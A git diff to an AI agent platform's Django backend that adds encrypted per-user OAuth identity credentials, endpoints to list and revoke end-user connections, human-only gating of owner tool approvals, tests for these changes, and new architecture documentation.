+0008_agent_identity_subject
diff --git a/products/agent_platform/backend/models.py b/products/agent_platform/backend/models.py
index 1911e49b95a3..1de9d814f08f 100644
--- a/products/agent_platform/backend/models.py
+++ b/products/agent_platform/backend/models.py
@@ -19,6 +19,7 @@ were dropped pending a rethink — see the commented-out routes in `routes.py`.
from __future__ import annotations
+from django.contrib.postgres.fields import ArrayField
from django.db import models
from django.db.models import Q, Value
from django.db.models.functions import Coalesce, Now
@@ -212,7 +213,6 @@ class AgentUser(ProductTeamModel, UUIDModel):
principal_kind = models.TextField()
principal_id = models.TextField()
metadata = models.JSONField(default=dict, db_default=Value("{}"))
- posthog_user_id = models.IntegerField(null=True, blank=True)
created_at = models.DateTimeField(auto_now_add=True, db_default=Now())
class Meta:
@@ -324,3 +324,75 @@ class AgentSessionCredential(ProductTeamModel):
indexes = [
models.Index(fields=["expires_at"], name="asc_expires_idx"),
]
+
+
+class AgentIdentityCredential(ProductTeamModel, UUIDModel):
+ """Persistent, per-principal, encrypted-at-rest linked credential.
+
+ The "stored auth" an agent_user has consented to — e.g. a Slack user who
+ OAuth-linked their PostHog (or GitHub, …) account. Keyed by (agent_user,
+ provider). Read at turn start and copied into the ephemeral per-session
+ AgentSessionCredential broker; never read directly by tools.
+ """
+
+ application_id = models.UUIDField()
+ # The principal this credential belongs to (agent_user.id). Plain id, not a
+ # FK — consistent with the loose coupling the runtime tables use elsewhere.
+ agent_user_id = models.UUIDField()
+ provider = models.TextField() # "posthog" | "github" | "dogs" | ...
+ # Fernet JSON: {access_token, refresh_token?, token_type?, expires_at?}.
+ encrypted_credentials = models.TextField()
+ # Granted scopes — not secret, kept plaintext for debugging without decrypt.
+ scopes = ArrayField(models.TextField(), default=list, db_default=Value("{}"))
+ state = models.TextField(default="active", db_default="active") # active | revoked
+ access_expires_at = models.DateTimeField(null=True, blank=True)
+ # The proven external identity this link established (e.g. the PostHog user
+ # uuid from /oauth/userinfo). Set only by an identity-establishing provider;
+ # null for capability-only links. Replaces the old AgentUser.posthog_user_id —
+ # per-asker auth reads it to resolve the PostHog user behind a principal.
+ subject = models.TextField(null=True, blank=True)
+ created_at = models.DateTimeField(auto_now_add=True, db_default=Now())
+ updated_at = models.DateTimeField(auto_now=True, db_default=Now())
+ revoked_at = models.DateTimeField(null=True, blank=True)
+
+ class Meta:
+ db_table = "agent_identity_credential"
+ constraints = [
+ models.UniqueConstraint(
+ fields=["agent_user_id", "provider"],
+ name="agent_identity_credential_unique_user_provider",
+ ),
+ ]
+ indexes = [
+ models.Index(fields=["application_id"], name="aic_application_idx"),
+ ]
+
+
+class AgentIdentityLinkState(ProductTeamModel, UUIDModel):
+ """Single-use, short-TTL state row for an in-flight OAuth link.
+
+ Binds one authorize round-trip to (agent_user, provider) so the callback
+ can't be replayed or retargeted at a different principal. `used_at` enforces
+ single use; `expires_at` bounds the window (≤10m). `code_verifier` is the
+ PKCE verifier, server-side only.
+ """
+
+ application_id = models.UUIDField()
+ agent_user_id = models.UUIDField()
+ provider = models.TextField()
+ scopes = ArrayField(models.TextField(), default=list, db_default=Value("{}"))
+ # Stored plaintext, unlike the Fernet-encrypted agent_identity_credential.
+ # Intentional: a PKCE verifier is single-use, ≤10m TTL, and worthless without
+ # the matching authorization code — its secrecy rests on DB access control,
+ # which is sufficient for a short-lived link-handshake secret.
+ code_verifier = models.TextField()
+ redirect_uri = models.TextField()
+ expires_at = models.DateTimeField()
+ used_at = models.DateTimeField(null=True, blank=True)
+ created_at = models.DateTimeField(auto_now_add=True, db_default=Now())
+
+ class Meta:
+ db_table = "agent_identity_link_state"
+ indexes = [
+ models.Index(fields=["expires_at"], name="ails_expires_idx"),
+ ]
diff --git a/products/agent_platform/backend/presentation/views.py b/products/agent_platform/backend/presentation/views.py
index 2bd0446c0aeb..707d3f846e6b 100644
--- a/products/agent_platform/backend/presentation/views.py
+++ b/products/agent_platform/backend/presentation/views.py
@@ -72,8 +72,9 @@ from posthog.security.outbound_proxy import internal_requests
from ..db import WRITER_DB
from ..logic.internal_jwt import AgentInternalAudience, encode_agent_internal_jwt
from ..logic.janitor_client import JanitorClient, JanitorClientError, default_client
+from ..logic.posthog_identity_app import provision_posthog_identity_apps
from ..logic.spec_schema import missing_required_secrets
-from ..models import AgentApplication, AgentRevision
+from ..models import AgentApplication, AgentIdentityCredential, AgentRevision
from .serializers import (
AgentApplicationSerializer,
AgentRevisionSerializer,
@@ -526,6 +527,7 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
"partial_update",
"destroy",
"approvals_decide",
+ "users_connection_delete",
# POST `preview_proxy` forwards `run`/`send`/`cancel` — each starts,
# feeds, or kills a draft session, driving the agent's configured
# tools and incurring inference cost. That's a write-class capability,
@@ -539,6 +541,7 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
"sessions_list",
"sessions_retrieve",
"session_logs",
+ "users_list",
"stats",
# GET (SSE `listen`) → `preview_proxy_get`. DRF uses the bound function
# name as `view.action`, so the GET variant is its own scope-map entry;
@@ -567,10 +570,21 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
serializer.save(team_id=self.team_id, created_by_id=self.request.user.id)
def perform_destroy(self, instance: AgentApplication) -> None:
- """Soft-delete: archived=True, archived_at=NOW. Preserves audit history."""
- instance.archived = True
- instance.archived_at = timezone.now()
- instance.save(update_fields=["archived", "archived_at", "updated_at"])
+ """Soft-delete: archived=True, archived_at=NOW. Preserves audit history.
+
+ Also revoke every linked identity credential for the application: archive
+ is terminal (no unarchive), so a retired agent should hold no decryptable
+ bearers. Done in the same transaction via the ORM — Django owns this table,
+ so no janitor round-trip — and `state='active'` keeps it idempotent.
+ """
+ now = timezone.now()
+ with transaction.atomic(using=WRITER_DB):
+ instance.archived = True
+ instance.archived_at = now
+ instance.save(update_fields=["archived", "archived_at", "updated_at"])
+ AgentIdentityCredential.objects.using(WRITER_DB).filter(application_id=instance.id, state="active").update(
+ state="revoked", revoked_at=now, updated_at=now
+ )
# Ingress trigger paths the preview-proxy is allowed to forward to. Keeping
# this an allowlist (vs an arbitrary passthrough) gives us a single place
@@ -969,6 +983,7 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
offset=offset,
state=request.query_params.get("state") or None,
revision_id=request.query_params.get("revision_id") or None,
+ agent_user_id=request.query_params.get("agent_user_id") or None,
created_after=request.query_params.get("created_after") or None,
created_before=request.query_params.get("created_before") or None,
)
@@ -976,6 +991,113 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
raise JanitorUpstreamError(e) from e
return Response(payload)
+ @extend_schema(
+ operation_id="agent_applications_users_list",
+ description=(
+ "List this agent's end-users (the stable identities behind inbound "
+ "principals) and each user's linked external connections. Connection "
+ "metadata only — credential material is never returned."
+ ),
+ responses=OpenApiResponse(
+ response=inline_serializer(
+ name="AgentUsersList",
+ fields={
+ "count": drf_serializers.IntegerField(),
+ "results": drf_serializers.ListField(
+ child=inline_serializer(
+ name="AgentUserWithConnections",
+ fields={
+ "id": drf_serializers.UUIDField(),
+ "principal_kind": drf_serializers.CharField(
+ help_text="Edge-identity kind: slack | jwt | posthog | service | …",
+ ),
+ "principal_id": drf_serializers.CharField(),
+ "metadata": drf_serializers.JSONField(allow_null=True, required=False),
+ "created_at": drf_serializers.DateTimeField(),
+ "connections": drf_serializers.ListField(
+ child=inline_serializer(
+ name="AgentUserConnection",
+ fields={
+ "id": drf_serializers.UUIDField(),
+ "provider": drf_serializers.CharField(),
+ "scopes": drf_serializers.ListField(child=drf_serializers.CharField()),
+ "state": drf_serializers.CharField(help_text="active | revoked"),
+ "subject": drf_serializers.CharField(allow_null=True, required=False),
+ "access_expires_at": drf_serializers.DateTimeField(
+ allow_null=True, required=False
+ ),
+ "created_at": drf_serializers.DateTimeField(),
+ "updated_at": drf_serializers.DateTimeField(),
+ "revoked_at": drf_serializers.DateTimeField(
+ allow_null=True, required=False
+ ),
+ },
+ )
+ ),
+ },
+ )
+ ),
+ },
+ )
+ ),
+ )
+ @action(detail=True, methods=["get"], url_path="users")
+ def users_list(self, request: Request, **kwargs) -> Response:
+ """End-users of this agent, each with their linked connections."""
+ application = self.get_object()
+ if application is None:
+ raise NotFound("Application not found")
+ try:
+ payload = _janitor().list_users(int(self.team_id), str(application.id))
+ except JanitorClientError as e:
+ raise JanitorUpstreamError(e) from e
+ return Response(payload)
+
+ @extend_schema(
+ operation_id="agent_applications_users_connection_delete",
+ description=(
+ "Revoke one of an end-user's linked connections. The credential is "
+ "marked revoked (kept for audit), so the agent can no longer act as "
+ "that user on the provider."
+ ),
+ parameters=[
+ OpenApiParameter("agent_user_id", OpenApiTypes.UUID, OpenApiParameter.PATH, required=True),
+ OpenApiParameter(
+ "provider",
+ OpenApiTypes.STR,
+ OpenApiParameter.PATH,
+ required=True,
+ description="Identity provider id (e.g. 'posthog', 'github').",
+ ),
+ ],
+ responses=OpenApiResponse(
+ response=inline_serializer(
+ name="AgentConnectionDelete",
+ fields={
+ "provider": drf_serializers.CharField(),
+ "revoked": drf_serializers.BooleanField(),
+ },
+ )
+ ),
+ )
+ @action(
+ detail=True,
+ methods=["delete"],
+ url_path=r"users/(?P<agent_user_id>[^/.]+)/connections/(?P<provider>[^/.]+)",
+ )
+ def users_connection_delete(
+ self, request: Request, agent_user_id: str = "", provider: str = "", **kwargs
+ ) -> Response:
+ """Revoke one linked connection for an end-user."""
+ application = self.get_object()
+ if application is None:
+ raise NotFound("Application not found")
+ try:
+ payload = _janitor().delete_connection(int(self.team_id), str(application.id), agent_user_id, provider)
+ except JanitorClientError as e:
+ raise JanitorUpstreamError(e) from e
+ return Response(payload)
+
@extend_schema(
operation_id="agent_applications_sessions_retrieve",
parameters=[
@@ -1168,7 +1290,7 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
),
"approver_scope": drf_serializers.DictField(
child=drf_serializers.JSONField(),
- help_text="Resolved approver policy (approvers, allow_edit, allow_agent_approver) at request time.",
+ help_text="Resolved approval policy (type: principal|agent, allow_edit) at request time.",
),
"state": drf_serializers.ChoiceField(
choices=[
@@ -1334,9 +1456,13 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
)
@action(detail=True, methods=["post"], url_path="approvals/(?P<approval_id>[^/.]+)/decide")
def approvals_decide(self, request: Request, approval_id: str = "", **kwargs) -> Response:
- """Approve or reject a queued tool-approval request. Team-admin only
- (plan §6.1). The runtime side runs the tool platform-side on approve
- and wakes the session with a synthetic tool_result either way."""
+ """Approve or reject a queued `agent`-type tool-approval request.
+
+ This is the OWNER decision surface — the only PostHog-authoritative one:
+ team admins decide here, in the console. `principal`-type approvals are
+ decided by the session principal at the ingress decision API, not here.
+ The runtime side runs the tool platform-side on approve and wakes the
+ session with a synthetic tool_result either way."""
application = self.get_object()
if application is None:
raise NotFound("Application not found")
@@ -1347,22 +1473,28 @@ class AgentApplicationViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
existing = _janitor().get_approval(approval_id, application_id=str(application.id))
except JanitorClientError as e:
raise JanitorUpstreamError(e) from e
- # When the spec sets `allow_agent_approver: False`, only a human acting
- # interactively may decide. Accept either SessionAuthentication, or a
- # bearer from a first-party PostHog OAuth app (e.g. PostHog Code, where a
- # human approves in-app) — `is_first_party` is staff-set on the app, so a
- # third-party OAuth app or a personal API key can't decide a human-only
- # approval regardless of scope.
+ # Only `agent`-type approvals are decided through the console. A
+ # `principal`-type request is the session owner's to clear at the ingress
+ # decision API; collapse it to not-found here. (Legacy rows queued before
+ # the principal/agent split carry `approvers[]` instead of `type` — map
+ # `team_admins` → agent so an in-flight old row stays decidable.)
+ scope = existing.get("approver_scope", {})
+ approval_type = scope.get("type")
+ if approval_type is None:
+ approval_type = "agent" if "team_admins" in (scope.get("approvers") or []) else "principal"
+ if approval_type != "agent":
+ raise NotFound("Approval not found")
+ # A human acting interactively only: SessionAuthentication, or a bearer
+ # from a first-party PostHog OAuth app (e.g. PostHog Code, where a human
+ # approves in-app) — `is_first_party` is staff-set on the app, so a
+ # third-party OAuth app or a personal API key can't decide an owner
+ # approval.
authenticator = request.successful_authenticator
is_session = isinstance(authenticator, SessionAuthentication)
is_first_party_oauth = isinstance(authenticator, OAuthAccessTokenAuthentication) and bool(
getattr(getattr(authenticator.access_token, "application", None), "is_first_party", False)
)
- if (
- existing.get("approver_scope", {}).get("allow_agent_approver") is False
- and not is_session
- and not is_first_party_oauth
- ):
+ if not is_session and not is_first_party_oauth:
raise NotFound("Approval not found")
try:
payload = _janitor().decide_approval(
@@ -1544,6 +1676,18 @@ class AgentRevisionViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
f"Set the value(s) via the env editor then retry."
)
+ # Managed PostHog identity providers: ensure each declared `{kind:posthog}`
+ # provider has a (normal, user-consented) OAuthApplication and inject its
+ # client_id into the spec. Idempotent; runs before the state flip so the
+ # frozen-and-live spec carries the client_id the runner links against.
+ spec_mutated = provision_posthog_identity_apps(
+ # Promote requires auth, so this is always a real User (not Anonymous);
+ # cast to satisfy the `User | None` signature, as elsewhere in this file.
+ application=revision.application,
+ revision=revision,
+ acting_user=cast(User, request.user),
+ )
+
# All three writes — demote previous live, set this live, point the
# application — must succeed or fail together. select_for_update on
# the application row serializes concurrent promotes so two callers
@@ -1558,7 +1702,7 @@ class AgentRevisionViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet):
previously_live.state = "archived"
previously_live.save(update_fields=["state", "updated_at"])
revision.state = "live"
- revision.save(update_fields=["state", "updated_at"])
+ revision.save(update_fields=["state", "spec", "updated_at"] if spec_mutated else ["state", "updated_at"])
application.live_revision = revision
application.save(update_fields=["live_revision", "updated_at"])
return Response({"ok": True, "state": "live"})
@@ -2650,7 +2794,7 @@ class AgentFleetViewSet(TeamAndOrgViewSetMixin, viewsets.ViewSet):
GET /api/projects/<team>/agent_fleet/approvals/ — approval-gated tool requests across every agent in the team
All three endpoints proxy the janitor (which owns the runtime DB). Used
- by the agent-console "fleet" overview to render the cards on the agents
+ by the "fleet" overview to render the cards on the agents
list without per-agent N+1.
"""
diff --git a/products/agent_platform/backend/tests/test_approvals_api.py b/products/agent_platform/backend/tests/test_approvals_api.py
index 731f52da43a4..b718f50d6e99 100644
--- a/products/agent_platform/backend/tests/test_approvals_api.py
+++ b/products/agent_platform/backend/tests/test_approvals_api.py
@@ -93,7 +93,7 @@ class TestApprovalEndpointsAuth(APIBaseTest):
mock_janitor.return_value.get_approval.return_value = {
"id": self.approval_id,
"application_id": str(self.application.id),
- "approver_scope": {"allow_agent_approver": False},
+ "approver_scope": {"type": "agent"},
}
mock_janitor.return_value.decide_approval.return_value = {"ok": True, "state": "approving"}
resp = self.client.post(
@@ -147,31 +147,32 @@ class TestApprovalEndpointsAuth(APIBaseTest):
self.assertEqual(resp.status_code, status.HTTP_400_BAD_REQUEST)
mock_janitor.return_value.decide_approval.assert_not_called()
+ @patch("products.agent_platform.backend.presentation.views._janitor")
+ def test_principal_type_approval_is_not_decidable_here(self, mock_janitor) -> None:
+ # `principal`-type approvals are the session owner's to clear at the
+ # ingress decision API — the console (Django) only decides `agent`-type.
+ # An admin hitting this endpoint for a principal row gets 404.
+ self._set_org_level(OrganizationMembership.Level.ADMIN)
+ mock_janitor.return_value.get_approval.return_value = {
+ "id": self.approval_id,
+ "application_id": str(self.application.id),
+ "approver_scope": {"type": "principal"},
+ }
+ resp = self.client.post(self.url_decide, {"decision": "approve"}, format="json")
+ self.assertEqual(resp.status_code, status.HTTP_404_NOT_FOUND)
+ mock_janitor.return_value.decide_approval.assert_not_called()
+
# A Personal API key resolves to an authenticated User but is not
- # `SessionAuthentication`, so the `allow_agent_approver: False` gate
- # rejects it; with `True` the gate doesn't apply and the call proceeds.
- @parameterized.expand(
- [
- ("disallowed", False, status.HTTP_404_NOT_FOUND, False),
- ("allowed", True, status.HTTP_200_OK, True),
- ]
- )
+ # `SessionAuthentication` — agent (owner) decisions require a human acting
+ # interactively (session or first-party OAuth), so a PAT is always rejected.
@patch("products.agent_platform.backend.presentation.views._janitor")
- def test_personal_api_key_decide_respects_allow_agent_approver(
- self,
- _label: str,
- allow_agent_approver: bool,
- expected_status: int,
- decide_called: bool,
- mock_janitor,
- ) -> None:
+ def test_personal_api_key_cannot_decide_agent_approval(self, mock_janitor) -> None:
self._set_org_level(OrganizationMembership.Level.ADMIN)
mock_janitor.return_value.get_approval.return_value = {
"id": self.approval_id,
"application_id": str(self.application.id),
- "approver_scope": {"allow_agent_approver": allow_agent_approver},
+ "approver_scope": {"type": "agent"},
}
- mock_janitor.return_value.decide_approval.return_value = {"ok": True, "state": "approving"}
raw_key = generate_random_token_personal()
PersonalAPIKey.objects.create(
label="agent",
@@ -185,11 +186,8 @@ class TestApprovalEndpointsAuth(APIBaseTest):
format="json",
HTTP_AUTHORIZATION=f"Bearer {raw_key}",
)
- self.assertEqual(resp.status_code, expected_status)
- if decide_called:
- mock_janitor.return_value.decide_approval.assert_called_once()
- else:
- mock_janitor.return_value.decide_approval.assert_not_called()
+ self.assertEqual(resp.status_code, status.HTTP_404_NOT_FOUND)
+ mock_janitor.return_value.decide_approval.assert_not_called()
def _make_oauth_token(self, *, scope: str, token: str, is_first_party: bool = False) -> OAuthAccessToken:
oauth_application = OAuthApplication.objects.create(
@@ -211,10 +209,11 @@ class TestApprovalEndpointsAuth(APIBaseTest):
scope=scope,
)
- # Only a first-party PostHog OAuth app (e.g. PostHog Code, where a human
- # approves in-app) can get past the `allow_agent_approver: False` gate. A
- # third-party OAuth app is rejected even with a broad `*` scope — the gate
- # keys off the app's staff-set `is_first_party` flag, not the token scope.
+ # An `agent` (owner) decision requires a human acting interactively. Only a
+ # first-party PostHog OAuth app (e.g. PostHog Code, where a human approves
+ # in-app) qualifies; a third-party OAuth app is rejected even with a broad
+ # `*` scope — the gate keys off the app's staff-set `is_first_party` flag,
+ # not the token scope.
@parameterized.expand(
[
("first_party_app", True, status.HTTP_200_OK, True),
@@ -222,7 +221,7 @@ class TestApprovalEndpointsAuth(APIBaseTest):
]
)
@patch("products.agent_platform.backend.presentation.views._janitor")
- def test_oauth_bearer_can_decide_human_only_approval_only_when_first_party(
+ def test_oauth_bearer_can_decide_agent_approval_only_when_first_party(
self,
label: str,
is_first_party: bool,
@@ -234,7 +233,7 @@ class TestApprovalEndpointsAuth(APIBaseTest):
mock_janitor.return_value.get_approval.return_value = {
"id": self.approval_id,
"application_id": str(self.application.id),
- "approver_scope": {"allow_agent_approver": False},
+ "approver_scope": {"type": "agent"},
}
mock_janitor.return_value.decide_approval.return_value = {"ok": True, "state": "approving"}
# `*` satisfies the viewset scope check for both; the first-party flag is
@@ -252,28 +251,6 @@ class TestApprovalEndpointsAuth(APIBaseTest):
else:
mock_janitor.return_value.decide_approval.assert_not_called()
- # When the spec's approver_scope allows an agent approver, the auth-class
- # / scope gate doesn't apply: any team-admin authenticator (including a
- # plain `agents:write` OAuth bearer) can decide.
- @patch("products.agent_platform.backend.presentation.views._janitor")
- def test_oauth_bearer_agents_write_can_decide_when_agent_approver_allowed(self, mock_janitor) -> None:
- self._set_org_level(OrganizationMembership.Level.ADMIN)
- mock_janitor.return_value.get_approval.return_value = {
- "id": self.approval_id,
- "application_id": str(self.application.id),
- "approver_scope": {"allow_agent_approver": True},
- }
- mock_janitor.return_value.decide_approval.return_value = {"ok": True, "state": "approving"}
- access_token = self._make_oauth_token(scope="agents:write", token="pha_test_agent_approver_allowed")
- resp = self.client.post(
- self.url_decide,
- {"decision": "approve"},
- format="json",
- HTTP_AUTHORIZATION=f"Bearer {access_token.token}",
- )
- self.assertEqual(resp.status_code, status.HTTP_200_OK)
- mock_janitor.return_value.decide_approval.assert_called_once()
-
# `agent_approvals:write` does NOT satisfy the viewset-level
# `scope_object = "agents"` check on its own — the token must also carry
# `agents:write` (or `*`) to even reach the per-action gate. Without it
diff --git a/products/agent_platform/backend/tests/test_posthog_identity_provisioning.py b/products/agent_platform/backend/tests/test_posthog_identity_provisioning.py
new file mode 100644
index 000000000000..e8a2a2394766
--- /dev/null
+++ b/products/agent_platform/backend/tests/test_posthog_identity_provisioning.py
@@ -0,0 +1,98 @@
+"""
+Promote provisions a managed PostHog identity OAuthApplication.
+
+When a revision declares an identity provider of `{kind: posthog}`, promote
+ensures a normal (user-consented, NOT first-party) OAuthApplication for the
+agent's org and injects its client_id into the live spec. Idempotent across
+re-promotes.
+"""
+
+from __future__ import annotations
+
+from posthog.test.base import APIBaseTest
+
+from django.test import override_settings
+
+from rest_framework import status
+
+from posthog.models.oauth import OAuthApplication
+
+from ..models import AgentApplication, AgentRevision
+
+POSTHOG_SPEC = {
+ "model": "anthropic/claude-sonnet-4-6",
+ "identity_providers": [{"kind": "posthog", "id": "posthog", "scopes": ["user:read"]}],
+}
+
+
+@override_settings(AGENT_INGRESS_PUBLIC_URL="https://ingress.example.com")
+class TestPostHogIdentityProvisioning(APIBaseTest):
+ databases = {
+ "default",
+ "persons_db_writer",
+ "persons_db_reader",
+ "agent_platform_db_writer",
+ "agent_platform_db_reader",
+ }
+
+ def setUp(self) -> None:
+ super().setUp()
+ self.application = AgentApplication.all_teams.create(
+ team_id=self.team.id, slug="dog-bot", name="Dog bot", description=""
+ )
+
+ def _ready_revision(self, spec: dict) -> AgentRevision:
+ return AgentRevision.all_teams.create(
+ application=self.application,
+ team_id=self.team.id,
+ state="ready",
+ spec=spec,
+ bundle_sha256="a" * 64,
+ )
+
+ def _promote(self, revision: AgentRevision) -> None:
+ url = f"/api/projects/{self.team.id}/agent_applications/{self.application.id}/revisions/{revision.id}/promote/"
+ resp = self.client.post(url)
+ self.assertEqual(resp.status_code, status.HTTP_200_OK, resp.content)
+
+ def _identity_apps(self) -> list[OAuthApplication]:
+ return list(OAuthApplication.objects.filter(organization=self.organization, name__startswith="Agent identity"))
+
+ def test_promote_provisions_normal_consented_app_and_injects_client_id(self) -> None:
+ revision = self._ready_revision(POSTHOG_SPEC)
+ self._promote(revision)
+
+ apps = self._identity_apps()
+ self.assertEqual(len(apps), 1)
+ app = apps[0]
+ # Normal app → user sees the consent screen (the whole point).
+ self.assertFalse(app.is_first_party)
+ self.assertEqual(app.client_type, OAuthApplication.CLIENT_PUBLIC)
+ self.assertEqual(app.authorization_grant_type, OAuthApplication.GRANT_AUTHORIZATION_CODE)
+ self.assertEqual(app.algorithm, "RS256")
+ self.assertEqual(app.redirect_uris, "https://ingress.example.com/link/posthog/callback")
+ self.assertEqual(list(app.scopes), ["user:read"])
+
+ # The live spec carries the provisioned client_id for the runner.
+ revision.refresh_from_db()
+ entry = revision.spec["identity_providers"][0]
+ self.assertEqual(entry["client_id"], app.client_id)
+
+ def test_promote_is_idempotent_reuses_the_app(self) -> None:
+ first = self._ready_revision(POSTHOG_SPEC)
+ self._promote(first)
+ first.refresh_from_db()
+ client_id = first.spec["identity_providers"][0]["client_id"]
+
+ second = self._ready_revision(POSTHOG_SPEC)
+ self._promote(second)
+ second.refresh_from_db()
+
+ # Same org + agent + provider → one app, reused; same client_id.
+ self.assertEqual(len(self._identity_apps()), 1)
+ self.assertEqual(second.spec["identity_providers"][0]["client_id"], client_id)
+
+ def test_promote_without_posthog_provider_provisions_nothing(self) -> None:
+ revision = self._ready_revision({"model": "anthropic/claude-sonnet-4-6"})
+ self._promote(revision)
+ self.assertEqual(len(self._identity_apps()), 0)
diff --git a/products/agent_platform/backend/tests/test_promote_archive.py b/products/agent_platform/backend/tests/test_promote_archive.py
index 04a676467e27..cba00560b136 100644
--- a/products/agent_platform/backend/tests/test_promote_archive.py
+++ b/products/agent_platform/backend/tests/test_promote_archive.py
@@ -16,7 +16,7 @@ from posthog.test.base import APIBaseTest
from rest_framework import status
-from ..models import AgentApplication, AgentRevision
+from ..models import AgentApplication, AgentIdentityCredential, AgentRevision, AgentUser
class TestPromoteArchive(APIBaseTest):
@@ -83,3 +83,43 @@ class TestPromoteArchive(APIBaseTest):
self.application.refresh_from_db()
self.assertEqual(revision.state, "archived")
self.assertIsNone(self.application.live_revision_id)
+
+ def test_destroy_revokes_linked_credentials(self) -> None:
+ """Archiving the application (soft-delete) revokes its users' active
+ identity credentials — archive is terminal, so a retired agent holds no
+ live bearers. Already-revoked rows are left as-is (only `active` flips)."""
+ user = AgentUser.all_teams.create(
+ team_id=self.team.id,
+ application_id=self.application.id,
+ principal_kind="slack",
+ principal_id="U123",
+ )
+ active = AgentIdentityCredential.all_teams.create(
+ team_id=self.team.id,
+ application_id=self.application.id,
+ agent_user_id=user.id,
+ provider="posthog",
+ encrypted_credentials="ciphertext",
+ state="active",
+ )
+ already_revoked = AgentIdentityCredential.all_teams.create(
+ team_id=self.team.id,
+ application_id=self.application.id,
+ agent_user_id=user.id,
+ provider="github",
+ encrypted_credentials="ciphertext",
+ state="revoked",
+ )
+
+ resp = self.client.delete(f"/api/projects/{self.team.id}/agent_applications/{self.application.id}/")
+ self.assertEqual(resp.status_code, status.HTTP_204_NO_CONTENT, resp.content)
+
+ self.application.refresh_from_db()
+ self.assertTrue(self.application.archived)
+
+ active.refresh_from_db()
+ self.assertEqual(active.state, "revoked")
+ self.assertIsNotNone(active.revoked_at)
+
+ already_revoked.refresh_from_db()
+ self.assertEqual(already_revoked.state, "revoked")
diff --git a/products/agent_platform/backend/tests/test_spec_schema.py b/products/agent_platform/backend/tests/test_spec_schema.py
index dd055dc763c2..13137a77eade 100644
--- a/products/agent_platform/backend/tests/test_spec_schema.py
+++ b/products/agent_platform/backend/tests/test_spec_schema.py
@@ -194,6 +194,13 @@ def _with_auth(spec: dict) -> dict:
"secrets": ["LEGACY", {"name": "GH_PAT", "allowed_hosts": ["api.github.com", "*.github.com"]}],
},
),
+ # identity_providers: the per-asker `principal` binding is accepted (the
+ # only one implemented at runtime). `client_id` is backend-injected on
+ # promote, so authors may omit it.
+ (
+ "identity_provider_principal_binding",
+ {"model": "x", "identity_providers": [{"kind": "posthog", "binding": "principal"}]},
+ ),
],
)
def test_validate_spec_accepts_valid_payloads(name: str, spec: dict) -> None:
@@ -299,6 +306,14 @@ def test_validate_spec_accepts_valid_payloads(name: str, spec: dict) -> None:
{"model": "x", "secrets": [{"name": "GH_PAT", "allowed_hosts": []}]},
"secrets",
),
+ # identity_providers: the `agent` binding (one app-scoped credential
+ # shared by every asker) isn't implemented at runtime yet, so the schema
+ # rejects it until it lands — kept in lockstep with the zod enum.
+ (
+ "identity_provider_agent_binding_rejected",
+ {"model": "x", "identity_providers": [{"kind": "posthog", "binding": "agent"}]},
+ "identity_providers",
+ ),
],
)
def test_validate_spec_rejects_invalid_payloads(name: str, spec: dict, expected_substring: str) -> None:
diff --git a/products/agent_platform/docs/README.md b/products/agent_platform/docs/README.md
new file mode 100644
index 000000000000..5a4a84c85220
--- /dev/null
+++ b/products/agent_platform/docs/README.md
@@ -0,0 +1,16 @@
+# Agent platform docs
+
+Concise, diagram-led docs for the v2 agent platform. Read in this order:
+
+1. **[architecture.md](architecture.md)** — the two planes, the data model, the
+ spec, and the revision lifecycle. Start here.
+2. **[services.md](services.md)** — what each process (ingress, runner, janitor,
+ Django) owns and how a request flows through them.
+3. **[identity-and-tools.md](identity-and-tools.md)** — edge identity → agent
+ user → linked identities → tools, credentials, approvals, and MCP.
+4. **[local-dev.md](local-dev.md)** — bringing the stack up locally, driving it,
+ and the e2e harness.
+
+Authoritative sources these summarize: `AgentSpecSchema` in
+[agent-shared/src/spec/](../services/agent-shared/src/spec/), and the per-service
+`AGENTS.md` files under [services/](../services/).
diff --git a/products/agent_platform/docs/architecture.md b/products/agent_platform/docs/architecture.md
new file mode 100644
index 000000000000..294830ecaf8d
--- /dev/null
+++ b/products/agent_platform/docs/architecture.md
@@ -0,0 +1,148 @@
+# Agent platform — architecture at a glance
+
+The high-level shape of the v2 agent platform. Two companion docs go deeper:
+[services.md](services.md) (what each process does) and
+[identity-and-tools.md](identity-and-tools.md) (the request → identity → tools
+flow). For hacking locally see [local-dev.md](local-dev.md).
+
+## Two planes, one product
+
+The platform splits into a **control plane** (author + promote agents) and a
+**data plane** (run them). They share nothing but two databases.
+
+```mermaid
+flowchart TB
+ subgraph control["Control plane — authoring"]
+ django["Django<br/>products/agent_platform/backend<br/>REST: /api/projects/&lt;team&gt;/agent_applications/*"]
+ janitor["agent-janitor :3031<br/>bundle CRUD · freeze/validate/clone<br/>/native_tools · sweep timer"]
+ django -- "HTTP (x-internal-secret JWT)" --> janitor
+ end
+
+ subgraph data["Data plane — runtime"]
+ ingress["agent-ingress :3030<br/>triggers · routing · auth/identity · enqueue"]
+ runner["agent-runner (no inbound HTTP)<br/>claim → load → model loop → tools → persist"]
+ ingress -- "enqueue" --> queue[("agent_session<br/>queue")]
+ queue -- "claim" --> runner
+ end
+
+ subgraph dbs["Databases"]
+ pgdb[("POSTHOG_DB<br/>agent_application<br/>agent_revision")]
+ agentdb[("AGENT_DB<br/>agent_session · agent_user<br/>identity · approvals · sandbox")]
+ end
+
+ mcp["MCP / console / Claude Code<br/>(authoring client)"] -->|generated MCP tools| django
+ client["chat · webhook · Slack · cron · MCP"] --> ingress
+
+ janitor -- writes bundle metadata --> pgdb
+ django -- read/write --> pgdb
+ ingress -- read revision --> pgdb
+ runner -- read revision + bundle --> pgdb
+ ingress -- write session/user --> agentdb
+ runner -- write session/conversation --> agentdb
+ queue -.-> agentdb
+```
+
+**Rule of thumb:** authoring writes flow Django → janitor → `POSTHOG_DB`.
+Runtime writes flow ingress/runner → `AGENT_DB`. Django **never** touches the
+bundle filesystem or the runtime tables directly; the node side **never**
+writes the application/revision tables.
